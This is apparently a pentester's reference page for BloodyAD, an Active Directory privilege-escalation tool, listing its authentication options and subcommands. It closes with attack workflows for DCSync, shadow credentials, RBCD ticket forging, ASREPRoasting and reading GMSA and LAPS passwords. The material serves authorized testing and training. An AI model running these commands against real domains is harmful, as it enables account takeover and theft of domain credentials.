ᛉ Yggdrasil

Tool references

BloodyAD Wiki

15 Sep 2026 · 5,696 words · 26 min

Contents

Author: CravateRouge
Repo: https://github.com/CravateRouge/bloodyAD
Description: AD Privilege Escalation Swiss Army Knife
Wiki: https://github.com/CravateRouge/bloodyAD/wiki


Overview

BloodyAD is an Active Directory privilege escalation framework designed around LDAP. It allows operators to enumerate, modify, and abuse AD objects with a clean command-line interface. All interactions go through LDAP (and optionally Kerberos or certificate authentication), making it a flexible and versatile tool for AD pentesting.

Key capabilities:

  • Add/remove users, computers, group members
  • Grant DCSync rights
  • Perform shadow credentials attacks
  • Add RBCD (Resource-Based Constrained Delegation)
  • Enumerate AD objects, trusts, writable objects
  • Manage DNS records
  • Read GMSA/LAPS passwords
  • Integrated BloodHound CE collector

Installation

# Via pip
pip install bloodyAD

# From source
git clone https://github.com/CravateRouge/bloodyAD
cd bloodyAD
pip install .

# Kali Linux
sudo apt install bloodyad

Authentication Methods

BloodyAD supports multiple authentication mechanisms:

Password (NTLM)

bloodyAD -d DOMAIN -u USERNAME -p PASSWORD --host DC_IP <command>

Pass-the-Hash (NTLM)

bloodyAD -d DOMAIN -u USERNAME -p LMHASH:NTHASH --host DC_IP <command>
# or with empty LM hash:
bloodyAD -d DOMAIN -u USERNAME -p :NTHASH --host DC_IP <command>

Kerberos (ccache)

bloodyAD -d DOMAIN -u USERNAME -k ccache=/path/to/file.ccache --host DC_IP <command>
# or with KRB5CCNAME env:
export KRB5CCNAME=/path/to/file.ccache
bloodyAD -d DOMAIN -u USERNAME -k --host DC_IP <command>

Kerberos (keytab)

bloodyAD -d DOMAIN -u USERNAME -k keytab=/path/to/file.keytab --host DC_IP <command>

Kerberos (AES/RC4 Key)

# AES key
bloodyAD -d DOMAIN -u USERNAME -p <aes_key> -f aes -k --host DC_IP <command>
# RC4 key (NT hash)
bloodyAD -d DOMAIN -u USERNAME -p <nt_hash> -f rc4 -k --host DC_IP <command>

Certificate (Schannel / PKINIT)

# Schannel auth to LDAP
bloodyAD -d DOMAIN -u USERNAME -c /path/to/key.pem:/path/to/cert.pem --host DC_IP <command>

# Certificate + Kerberos PKINIT
bloodyAD -d DOMAIN -u USERNAME -c /path/to/key.pem:/path/to/cert.pem -k --host DC_IP <command>

Cross-Realm / Multiple KDCs

bloodyAD -d DOMAIN -u USERNAME -k kdc=192.168.1.1 realmc=foreign.realm.corp kdcc=192.168.2.1 \
  ccache=/path/to/file.ccache --host DC_IP <command>

Global Arguments

bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD]
         [-k [KERBEROS ...]] [-f {b64,hex,aes,rc4,default}]
         [-c [CERTIFICATE]] [-s] --host HOST [--dc-ip DC_IP] [--dns DNS]
         [-t TIMEOUT] [--gc] [-v {QUIET,INFO,DEBUG,TRACE}] [--json]
         {add,get,msldap,remove,set} ...
Flag Description
-d DOMAIN Domain for NTLM auth
-u USERNAME Username
-p PASSWORD Password, LMHASH:NTHASH, or key
-k [KERBEROS ...] Enable Kerberos; accepts ccache=, kirbi=, keytab=, kdc=, realmc=, kdcc=
-f FORMAT Password/key format: b64, hex, aes, rc4, default
-c [CERTIFICATE] Schannel/PKINIT cert: key_path:cert_path
-s Use LDAPS/GCS (TLS). -ss removes all encryption (debug)
--host HOST DC hostname or IP
--dc-ip DC_IP DC IP (when --host hostname can't resolve)
--dns DNS DNS server for resolving AD names
-t TIMEOUT Connection timeout in seconds
--gc Connect to Global Catalog
-v LEVEL Verbosity: QUIET, INFO, DEBUG, TRACE
--json Output results in JSON

Tip: Always provide the full domain FQDN (e.g., -d bloody.lab) to avoid constraint errors when creating computers.


Advanced Usage

LDAPS / Channel Binding

Use the -s flag to connect over LDAPS (port 636) instead of plain LDAP (port 389). Required when the DC enforces LDAP signing or channel binding — increasingly common on hardened Server 2019+ and mandatory on Server 2025 by default.

# LDAPS (port 636, TLS)
bloodyAD --host DC_IP -d domain -u user -p pass -s get object john.doe

# LDAPS with Kerberos
bloodyAD --host DC_IP -d domain -u user -p pass -s -k get writable

# LDAPS with certificate auth (Schannel over TLS)
bloodyAD --host DC_IP -d domain -u user -c key.pem:cert.pem -s get object targetUser

# Remove all encryption — plaintext LDAP (debug/lab use only)
bloodyAD --host DC_IP -d domain -u user -p pass -ss get object john.doe

When to use -s: If you get LDAP_UNAVAILABLE_CRITICAL_EXTENSION, strongAuthRequired, or the DC simply drops your connection, switch to -s. On Server 2025, -s may be required for all write operations.

-ss warning: Strips TLS entirely. Never use outside a controlled lab — credentials go on the wire in plaintext.


Global Catalog

The --gc flag connects to the Global Catalog (port 3268, or 3269 with -s). The GC holds a partial replica of every object in the entire forest, not just the local domain. Use it for forest-wide enumeration when you don't know which child domain an object lives in.

# Forest-wide user search
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
  --filter "(objectClass=user)" --attr sAMAccountName,mail

# Find all computers across the forest
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
  --filter "(objectClass=computer)" --attr name,dNSHostName,operatingSystem

# Enumerate all groups forest-wide
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
  --filter "(objectClass=group)" --attr sAMAccountName,member

# Get object from a foreign domain via GC
bloodyAD --host DC_IP -d domain -u user -p pass --gc get object \
  "CN=foreignUser,CN=Users,DC=child,DC=domain,DC=com"

# GC over LDAPS
bloodyAD --host DC_IP -d domain -u user -p pass --gc -s get search \
  --filter "(objectClass=user)" --attr sAMAccountName

Limitation: The GC only stores a subset of attributes. If you need all attributes of an object, query the object's home domain directly (without --gc).


Custom DNS

Use --dns to point bloodyAD at a specific DNS server for resolving AD hostnames. Useful when your attacker box uses a different DNS than the target domain, or when split-brain DNS prevents you from resolving DC hostnames.

# Use the DC itself as DNS resolver
bloodyAD --host DC_HOSTNAME -d domain -u user -p pass \
  --dns 10.10.10.1 get object john.doe

# Use a different internal DNS server
bloodyAD --host DC_HOSTNAME -d domain -u user -p pass \
  --dns 192.168.1.53 get search --filter "(objectClass=user)"

# Combine with --dc-ip when hostname still won't resolve
bloodyAD --host DC_HOSTNAME --dc-ip 10.10.10.1 \
  -d domain -u user -p pass --dns 10.10.10.1 get object john.doe

Tip: If you already know the DC IP and don't need hostname resolution, just pass the IP directly to --host. Use --dns when you need Kerberos by hostname (required for Kerberos auth since tickets are issued per-hostname).


JSON Output

Add --json to any command to get machine-readable JSON output. Pipe to jq for filtering and field extraction, or save to a file for offline processing.

# Basic JSON output
bloodyAD --host DC_IP -d domain -u user -p pass --json get object john.doe

# Extract specific field with jq
bloodyAD --host DC_IP -d domain -u user -p pass --json get object john.doe | \
  jq '.[].userAccountControl'

# Get all sAMAccountNames from a search
bloodyAD --host DC_IP -d domain -u user -p pass --json get search \
  --filter "(objectClass=user)" --attr sAMAccountName | \
  jq '.[].sAMAccountName'

# Save BloodHound collector output details to file
bloodyAD --host DC_IP -d domain -u user -p pass --json get bloodhound > bh_output.json

# List all group members as a flat array
bloodyAD --host DC_IP -d domain -u user -p pass --json get object "Domain Admins" \
  --attr member | jq '.[].member[]'

# Get writable objects and filter to computers only
bloodyAD --host DC_IP -d domain -u user -p pass --json get writable --otype COMPUTER | \
  jq '.[] | {dn: .distinguishedName, rights: .rights}'

# Save all DNS records to file for offline analysis
bloodyAD --host DC_IP -d domain -u user -p pass --json get dnsDump > dns_records.json

Command Categories

Category Purpose
add Create objects or grant rights
get Query and enumerate AD
remove Delete objects or revoke rights
set Modify attributes and ownership
msldap Extended/experimental MSLDAP commands

add Commands

add badSuccessor

Creates a DMSA (Dedicated Managed Service Account) for BadSuccessor abuse.

bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor <DMSA_hostname>

# Specify target principal to inherit privileges from
bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor evilDMSA \
  -t CN=Administrator,CN=Users,DC=domain,DC=com

# Specify OU for placement
bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor evilDMSA \
  --ou "OU=ServiceAccounts,DC=domain,DC=com"

add computer

Adds a new computer account to the domain. Requires MAQ > 0 or appropriate privileges.

bloodyAD --host DC_IP -d bloody.lab -u user -p pass add computer EVILPC$ Password123!

# In a specific OU
bloodyAD --host DC_IP -d bloody.lab -u user -p pass add computer EVILPC$ Password123! \
  --ou "OU=Computers,DC=bloody,DC=lab"

Note: Use the full domain FQDN with -d or you may get a CONSTRAINT_ATT_TYPE error on dNSHostName.


add dcsync

Grants DCSync rights (GetChanges + GetChangesAll) on the domain to a trustee.

bloodyAD --host DC_IP -d domain -u admin -p pass add dcsync john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass add dcsync "CN=john,CN=Users,DC=domain,DC=com"

add dnsRecord

Adds a new DNS record to the AD-integrated DNS zone.

# Simple A record
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99

# With specific type and zone
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99 \
  --dnstype A --zone domain.local --ttl 60

# CNAME record
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord alias target.domain.local \
  --dnstype CNAME

# Forest-wide DNS
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99 --forest

Supported DNS types: A, AAAA, CNAME, MX, PTR, SRV, TXT


add genericAll

Grants FullControl (GenericAll) permission on a target object to a trustee.

bloodyAD --host DC_IP -d domain -u admin -p pass add genericAll targetUser johnDoe
bloodyAD --host DC_IP -d domain -u admin -p pass add genericAll "Domain Admins" attackerUser

Requires owning the target object or having WriteDACL on it.


add groupMember

Adds a member to an AD group.

bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Domain Admins" john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Remote Desktop Users" attackerPC$

# Also supports foreign (cross-domain) users
bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Enterprise Admins" foreign_user

add rbcd

Sets Resource-Based Constrained Delegation (RBCD) on a target computer, allowing a service to impersonate users on that target.

bloodyAD --host DC_IP -d domain -u admin -p pass add rbcd DC01$ EVILPC$

Requires Write permission on target's msDS-AllowedToActOnBehalfOfOtherIdentity. Works on Windows Server 2012+.


add shadowCredentials

Adds Key Credentials (certificate-based auth backdoor) to a target via msDS-KeyCredentialLink.

bloodyAD --host DC_IP -d domain -u admin -p pass add shadowCredentials targetUser

# Save credentials to specific path
bloodyAD --host DC_IP -d domain -u admin -p pass add shadowCredentials targetUser \
  --path /tmp/targetUser

Requirements:

  • DC must run Windows Server 2016+ (AD Schema level 7+)
  • AD CS or a certificate authority must be present for PKINIT to work

add uac

Adds UAC (UserAccountControl) property flags to a user/computer object.

# Disable Kerberos pre-auth (for ASREPRoasting)
bloodyAD --host DC_IP -d domain -u admin -p pass add uac targetUser -f DONT_REQ_PREAUTH

# Multiple flags
bloodyAD --host DC_IP -d domain -u admin -p pass add uac targetUser \
  -f DONT_REQ_PREAUTH -f DONT_EXPIRE_PASSWORD

add user

Creates a new domain user.

bloodyAD --host DC_IP -d domain -u admin -p pass add user evilUser Password123!

# In a specific OU
bloodyAD --host DC_IP -d domain -u admin -p pass add user evilUser Password123! \
  --ou "OU=Users,DC=domain,DC=com"

get Commands

get bloodhound

Runs the built-in BloodHound CE collector and outputs a zip file.

bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound

# Include trust traversal
bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound --transitive

Note: This collector is still in development and doesn't yet support ADCS ESC nodes or complex edge types.


get children

Lists children of a given AD object.

# All children of a container
bloodyAD --host DC_IP -d domain -u user -p pass get children \
  --target "OU=Finance,DC=domain,DC=com"

# Only user objects
bloodyAD --host DC_IP -d domain -u user -p pass get children \
  --target "CN=Users,DC=domain,DC=com" --otype user

# Direct children only
bloodyAD --host DC_IP -d domain -u user -p pass get children \
  --target "DC=domain,DC=com" --direct

get dnsDump

Retrieves all DNS records from the AD-integrated DNS zone that the current user can read.

bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump

# Filter to a specific zone
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --zone domain.local

# Exclude system records
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --no-detail

# Traverse trusts
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --transitive

get membership

Lists all groups a user/computer belongs to (recursive by default).

# Recursive group membership
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe

# Direct memberships only
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe --no-recurse

# By SID or DN
bloodyAD --host DC_IP -d domain -u user -p pass get membership "S-1-5-21-..."

get object

Retrieves LDAP attributes for an AD object.

# All attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe

# Specific attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe \
  --attr userAccountControl,memberOf

# Get group members
bloodyAD --host DC_IP -d domain -u user -p pass get object "Domain Admins" --attr member

# Read GMSA password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'gmsaAccount$' \
  --attr msDS-ManagedPassword

# Read LAPS password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'COMPUTER$' \
  --attr ms-Mcs-AdmPwd

# Read RootDSE (domain info)
bloodyAD --host DC_IP -d domain -u user -p pass get object ""

# Resolve security descriptors
bloodyAD --host DC_IP -d domain -u user -p pass get object targetUser --resolve-sd

Performs a raw LDAP search with custom filters.

# Find all enabled user accounts
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

# Find all computers
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --filter "(objectClass=computer)" --attr name,operatingSystem

# Custom base DN
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --base "OU=Finance,DC=domain,DC=com" \
  --filter "(objectClass=user)" --attr sAMAccountName,mail

# Include tombstoned/deleted objects
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --filter "(objectClass=user)" \
  -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

LDAP Request Controls (-c)

The -c flag passes raw LDAP control OIDs with each request. Multiple controls can be stacked. Common OIDs for AD:

OID Name Effect
1.2.840.113556.1.4.2064 SHOW_DELETED Include tombstoned/deleted objects in results
1.2.840.113556.1.4.2065 SHOW_DEACTIVATED_LINK Include deactivated linked attributes (e.g. removed group members)
1.2.840.113556.1.4.801 SD_FLAGS Control which parts of nTSecurityDescriptor are returned (Owner, Group, DACL, SACL)
1.2.840.113556.1.4.319 PAGED_RESULTS Request paged result sets (auto-handled by bloodyAD in most cases)
# Search deleted objects (requires Recycle Bin feature or tombstone access)
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --base "CN=Deleted Objects,DC=domain,DC=com" \
  --filter "(objectClass=user)" --attr sAMAccountName,lastKnownParent \
  -c 1.2.840.113556.1.4.2064

# Include deleted objects AND deactivated links together
bloodyAD --host DC_IP -d domain -u user -p pass get search \
  --filter "(objectClass=group)" --attr member \
  -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

get trusts

Displays domain trust relationships as an ASCII tree.

bloodyAD --host DC_IP -d domain -u user -p pass get trusts

# Include transitive trusts
bloodyAD --host DC_IP -d domain -u user -p pass get trusts --transitive

Arrow guide:

  • A->B = A can authenticate on B
  • A-<B = B can authenticate on A
  • A-<>B = Bidirectional trust

get writable

Finds all AD objects the current user can write to.

# All writable objects
bloodyAD --host DC_IP -d domain -u user -p pass get writable

# Only writable users
bloodyAD --host DC_IP -d domain -u user -p pass get writable --otype USER

# Only write (no child create) rights
bloodyAD --host DC_IP -d domain -u user -p pass get writable --right WRITE

# Show detailed attributes you can write
bloodyAD --host DC_IP -d domain -u user -p pass get writable --detail

# Export to BloodHound zip
bloodyAD --host DC_IP -d domain -u user -p pass get writable --bh

--otype options: ALL, OU, USER, COMPUTER, GROUP, DOMAIN, GPO
--right options: ALL, WRITE, CHILD


remove Commands

remove dcsync

Removes DCSync rights from a trustee.

bloodyAD --host DC_IP -d domain -u admin -p pass remove dcsync john.doe

remove dnsRecord

Removes a DNS record from the AD-integrated zone.

bloodyAD --host DC_IP -d domain -u admin -p pass remove dnsRecord evilhost 10.10.10.99

# Non-A record type
bloodyAD --host DC_IP -d domain -u admin -p pass remove dnsRecord mailhost mail.domain.local \
  --dnstype MX --zone domain.local

remove genericAll

Removes FullControl permission from a trustee on a target.

bloodyAD --host DC_IP -d domain -u admin -p pass remove genericAll targetUser attackerUser

remove groupMember

Removes a member from a group.

bloodyAD --host DC_IP -d domain -u admin -p pass remove groupMember "Domain Admins" john.doe

remove object

Deletes an AD object.

bloodyAD --host DC_IP -d domain -u admin -p pass remove object john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass remove object EVILPC$

remove rbcd

Removes RBCD delegation configuration from a target.

bloodyAD --host DC_IP -d domain -u admin -p pass remove rbcd DC01$ EVILPC$

remove shadowCredentials

Removes Key Credentials from a target.

# Remove all key credentials
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser

# Remove specific key by RSA key value
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser \
  --key <RSA_KEY_VALUE>

remove uac

Removes UAC property flags from a user/computer.

# Re-enable Kerberos pre-auth
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser -f DONT_REQ_PREAUTH

# Unlock account + re-enable
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser \
  -f LOCKOUT -f ACCOUNTDISABLE

set Commands

set object

Modifies an attribute on an AD object. Supports add, replace, or delete value operations.

# Set a string attribute
bloodyAD --host DC_IP -d domain -u admin -p pass set object john.doe description -v "New description"

# Set multiple SPNs
bloodyAD --host DC_IP -d domain -u admin -p pass set object svc_account servicePrincipalName \
  -v "HTTP/web.domain.com" -v "HTTP/web"

# Delete an attribute (no -v)
bloodyAD --host DC_IP -d domain -u admin -p pass set object john.doe description

# Set raw/binary data
bloodyAD --host DC_IP -d domain -u admin -p pass set object targetObj someAttr \
  --raw --b64 -v "<base64_value>"

Raw / Binary Attribute Writes (--raw, --b64)

Use --raw when the target attribute expects binary data rather than a string. Combine with --b64 when your value is base64-encoded. This is necessary for attributes like unicodePwd, msDS-AllowedToActOnBehalfOfOtherIdentity, and nTSecurityDescriptor.

# Set unicodePwd directly (change password via raw write — requires LDAPS -s)
# Value must be UTF-16LE encoded and wrapped in double quotes, then base64'd
python3 -c "import base64; print(base64.b64encode('\"NewPassword123!\"'.encode('utf-16-le')).decode())"
bloodyAD --host DC_IP -d domain -u admin -p pass -s set object targetUser unicodePwd \
  --raw --b64 -v "<base64_utf16le_value>"

# Manually write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
# Use impacket to build the security descriptor, then write it raw
python3 -c "
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, ACCESS_ALLOWED_ACE, ACE, ACL, LDAP_SID
import base64, struct

# Build SD granting attacker SID full control
sd = SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 4
sd['OwnerSid'] = LDAP_SID()
sd['GroupSid'] = b''
sd['Sacl'] = b''
dacl = ACL()
dacl['AclRevision'] = 4
# ... build ACE with attacker SID ...
sd['Dacl'] = dacl
print(base64.b64encode(bytes(sd)).decode())
"
bloodyAD --host DC_IP -d domain -u admin -p pass \
  set object DC01$ msDS-AllowedToActOnBehalfOfOtherIdentity \
  --raw --b64 -v "<base64_security_descriptor>"

# Set msDS-SupportedEncryptionTypes (force RC4 for Kerberoasting)
# Value 0x4 = RC4_HMAC only; encode as 4-byte little-endian, then base64
python3 -c "import base64, struct; print(base64.b64encode(struct.pack('<I', 4)).decode())"
bloodyAD --host DC_IP -d domain -u admin -p pass \
  set object svc_account msDS-SupportedEncryptionTypes \
  --raw --b64 -v "BAAAAA=="

Tip: For unicodePwd writes, LDAPS (-s) is mandatory — AD rejects plaintext LDAP password writes. For msDS-AllowedToActOnBehalfOfOtherIdentity, prefer add rbcd unless you need fine-grained control over the security descriptor.


set owner

Changes ownership of an AD object.

bloodyAD --host DC_IP -d domain -u admin -p pass set owner targetUser attackerUser

Warning: With only WRITE_OWNER privilege, you can only set yourself as owner. Setting another user as owner requires DS-Set-Owner or SeRestorePrivilege.


set password

Changes a user or computer account's password.

# As admin (no old password needed)
bloodyAD --host DC_IP -d domain -u admin -p pass set password targetUser NewPassword123!

# As the user themselves (old password required)
bloodyAD --host DC_IP -d domain -u john -p OldPass set password john NewPassword123! \
  --oldpass OldPass

# Change expired password without special rights
bloodyAD --host DC_IP -d domain -u admin -p pass set password lockedUser NewPass \
  --oldpass ExpiredOldPass

set restore

Restores a deleted AD object from the Recycle Bin.

# Restore by DN
bloodyAD --host DC_IP -d domain -u admin -p pass set restore \
  "CN=john.doe\0ADEL:...,CN=Deleted Objects,DC=domain,DC=com"

# Restore with a new name and parent
bloodyAD --host DC_IP -d domain -u admin -p pass set restore deletedUser \
  --newName john.doe --newParent "CN=Users,DC=domain,DC=com"

msldap Commands (Experimental)

Warning: These commands are experimental and may change or break between versions.

The msldap subcommand wraps additional MSLDAP console functions. Below are the most commonly used ones for pentesting.

Enumeration

# Dump all user/computer accounts with many attributes
bloodyAD --host DC_IP -d domain -u user -p pass msldap dump

# List domain admins
bloodyAD --host DC_IP -d domain -u user -p pass msldap dadms

# Who am I?
bloodyAD --host DC_IP -d domain -u user -p pass msldap whoami

# AD info
bloodyAD --host DC_IP -d domain -u user -p pass msldap adinfo

# List all GPOs
bloodyAD --host DC_IP -d domain -u user -p pass msldap gpos

# Trust relationships
bloodyAD --host DC_IP -d domain -u user -p pass msldap trusts

# Unconstrained delegation objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap unconstrained

# Constrained delegation objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap constrained

# S4U2Proxy objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap s4u2proxy

# Kerberoastable accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap spns

# ASREProastable accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap asrep

# Pre-Windows 2000 machine accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap pre2000

Credential Recovery

# List all GMSA accounts (and read password if permitted)
bloodyAD --host DC_IP -d domain -u user -p pass msldap gmsa

# List all LAPS passwords
bloodyAD --host DC_IP -d domain -u user -p pass msldap laps

# LAPS for a specific machine
bloodyAD --host DC_IP -d domain -u user -p pass msldap lapstarget <machine_SID>

ADCS Enumeration

# Certificate templates
bloodyAD --host DC_IP -d domain -u user -p pass msldap certtemplates

# Run ADCA security test
bloodyAD --host DC_IP -d domain -u user -p pass msldap certify

# List enrollment services
bloodyAD --host DC_IP -d domain -u user -p pass msldap enrollmentservices

# Root CAs / NT CAs / AIA CAs
bloodyAD --host DC_IP -d domain -u user -p pass msldap rootcas
bloodyAD --host DC_IP -d domain -u user -p pass msldap ntcas
bloodyAD --host DC_IP -d domain -u user -p pass msldap aiacas

BadSuccessor (CVE)

# Check if BadSuccessor vulnerability is present
bloodyAD --host DC_IP -d domain -u user -p pass msldap badsuccessor_check

# List DMSAs
bloodyAD --host DC_IP -d domain -u user -p pass msldap dmsas

Shadow Credentials

bloodyAD --host DC_IP -d domain -u user -p pass msldap shadowcred targetUser

User/Group/Computer Management

# Get user by sAMAccountName
bloodyAD --host DC_IP -d domain -u user -p pass msldap user john.doe

# Get computer by sAMAccountName
bloodyAD --host DC_IP -d domain -u user -p pass msldap machine WORKSTATION01$

# Group members
bloodyAD --host DC_IP -d domain -u user -p pass msldap groupmembers \
  "CN=Domain Admins,CN=Users,DC=domain,DC=com"

# Group membership (what groups a user is in)
bloodyAD --host DC_IP -d domain -u user -p pass msldap groupmembership \
  "CN=john,CN=Users,DC=domain,DC=com"

# Add user to group (by DN)
bloodyAD --host DC_IP -d domain -u user -p pass msldap addusertogroup \
  "CN=john,CN=Users,DC=domain,DC=com" \
  "CN=Domain Admins,CN=Users,DC=domain,DC=com"

# Remove user from group (by DN)
bloodyAD --host DC_IP -d domain -u user -p pass msldap deluserfromgroup \
  "CN=john,CN=Users,DC=domain,DC=com" \
  "CN=Domain Admins,CN=Users,DC=domain,DC=com"

# Enable/disable user
bloodyAD --host DC_IP -d domain -u admin -p pass msldap enableuser "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u admin -p pass msldap disableuser "CN=john,CN=Users,DC=domain,DC=com"

# Unlock user
bloodyAD --host DC_IP -d domain -u admin -p pass msldap unlockuser "CN=john,CN=Users,DC=domain,DC=com"

# Change password
bloodyAD --host DC_IP -d domain -u admin -p pass msldap changeuserpw \
  "CN=john,CN=Users,DC=domain,DC=com" NewPassword123!

SID / DN Resolution

bloodyAD --host DC_IP -d domain -u user -p pass msldap sam2dn john.doe
bloodyAD --host DC_IP -d domain -u user -p pass msldap dn2sam "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u user -p pass msldap dn2sid "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u user -p pass msldap sid2dn "S-1-5-21-..."
bloodyAD --host DC_IP -d domain -u user -p pass msldap sidresolv "S-1-5-21-..."

DNS (msldap)

# Dump DNS zones
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnszones
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsdump

# Add a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsadd evilhost 10.10.10.99

# Delete a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsdelete evilhost

# Query a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsquery evilhost

Privilege Escalation

# Grant DCSync via msldap
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addprivdcsync \
  "CN=john,CN=Users,DC=domain,DC=com"

# Grant AddMember right on a group
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addprivaddmember \
  "CN=john,CN=Users,DC=domain,DC=com" \
  "CN=Domain Admins,CN=Users,DC=domain,DC=com"

# Add RBCD
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addallowedtoactonbehalfofotheridentity \
  "CN=DC01,CN=Computers,DC=domain,DC=com" "S-1-5-21-...-<RID>"

# GenericWrite ACE
bloodyAD --host DC_IP -d domain -u admin -p pass msldap add_genericwrite \
  "CN=targetUser,CN=Users,DC=domain,DC=com" \
  "CN=attackerUser,CN=Users,DC=domain,DC=com"

# Add SPN (for Kerberoasting)
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addspn \
  "CN=john,CN=Users,DC=domain,DC=com" "HTTP/evil.domain.com"

# Change owner
bloodyAD --host DC_IP -d domain -u admin -p pass msldap changeowner \
  "S-1-5-21-...-<attacker_RID>" "CN=targetObject,DC=domain,DC=com"

# Modify ADCS template name flag (ESC attack setup)
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addcerttemplatenameflagaltname TemplateName

Common Attack Workflows

Workflow: Add Yourself to Domain Admins

# Step 1: Add user to Domain Admins
bloodyAD --host DC_IP -d domain -u compromisedUser -p pass add groupMember "Domain Admins" compromisedUser

Workflow: DCSync Attack

# Step 1: Grant DCSync rights to yourself
bloodyAD --host DC_IP -d domain -u WritePrivUser -p pass add dcsync attackerUser

# Step 2: Use impacket-secretsdump
impacket-secretsdump domain/attackerUser:pass@DC_IP -just-dc

Workflow: Shadow Credentials → NTLM Hash

# Step 1: Add shadow credentials to target
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser

# Step 2: Use certipy to authenticate with generated cert
certipy auth -pfx targetUser.pfx -dc-ip DC_IP
# This gives you NTLM hash + TGT for targetUser

Workflow: RBCD Abuse

# Step 1: Add attacker-controlled computer to domain
bloodyAD --host DC_IP -d domain.local -u user -p pass add computer EVILPC$ Password123!

# Step 2: Set RBCD on target DC
bloodyAD --host DC_IP -d domain -u user -p pass add rbcd DC01$ EVILPC$

# Step 3: Get TGT for EVILPC$
impacket-getTGT domain/EVILPC$:Password123! -dc-ip DC_IP

# Step 4: S4U2Proxy to get service ticket as Administrator
export KRB5CCNAME=EVILPC$.ccache
impacket-getST -spn cifs/DC01.domain.local -impersonate Administrator \
  domain/EVILPC$ -k -no-pass -dc-ip DC_IP

Workflow: ASREPRoasting Setup

# Step 1: Disable pre-auth on a target user (requires WriteProperty on UAC)
bloodyAD --host DC_IP -d domain -u writePrivUser -p pass add uac targetUser -f DONT_REQ_PREAUTH

# Step 2: Roast the hash
impacket-GetNPUsers domain/targetUser -no-pass -dc-ip DC_IP

Workflow: Read GMSA Password

# List GMSA accounts (and read password if your user is in the allowed readers group)
bloodyAD --host DC_IP -d domain -u user -p pass get object 'gmsaAccount$' \
  --attr msDS-ManagedPassword

# Or via msldap
bloodyAD --host DC_IP -d domain -u user -p pass msldap gmsa

Cheatsheet

Quick-reference for the most common pentesting tasks. Replace DC_IP, domain, user, pass, and target names as needed.

Auth Skeletons

# Password / PTH
bloodyAD --host DC_IP -d domain -u USER -p 'PASS'
bloodyAD --host DC_IP -d domain -u USER -p 'LMHASH:NTHASH'
bloodyAD --host DC_IP -d domain -u USER -p ':NTHASH'

# Kerberos (ccache)
export KRB5CCNAME=/path/to/file.ccache
bloodyAD --host DC_HOSTNAME -d domain -u USER -k

# Certificate (Schannel)
bloodyAD --host DC_IP -d domain -u USER -c key.pem:cert.pem

# LDAPS (when channel binding enforced)
bloodyAD --host DC_IP -d domain -u USER -p 'PASS' -s

Enumeration

# Writable objects (your attack surface)
bloodyAD --host DC_IP -d domain -u user -p pass get writable
bloodyAD --host DC_IP -d domain -u user -p pass get writable --otype USER --detail

# Group membership
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe
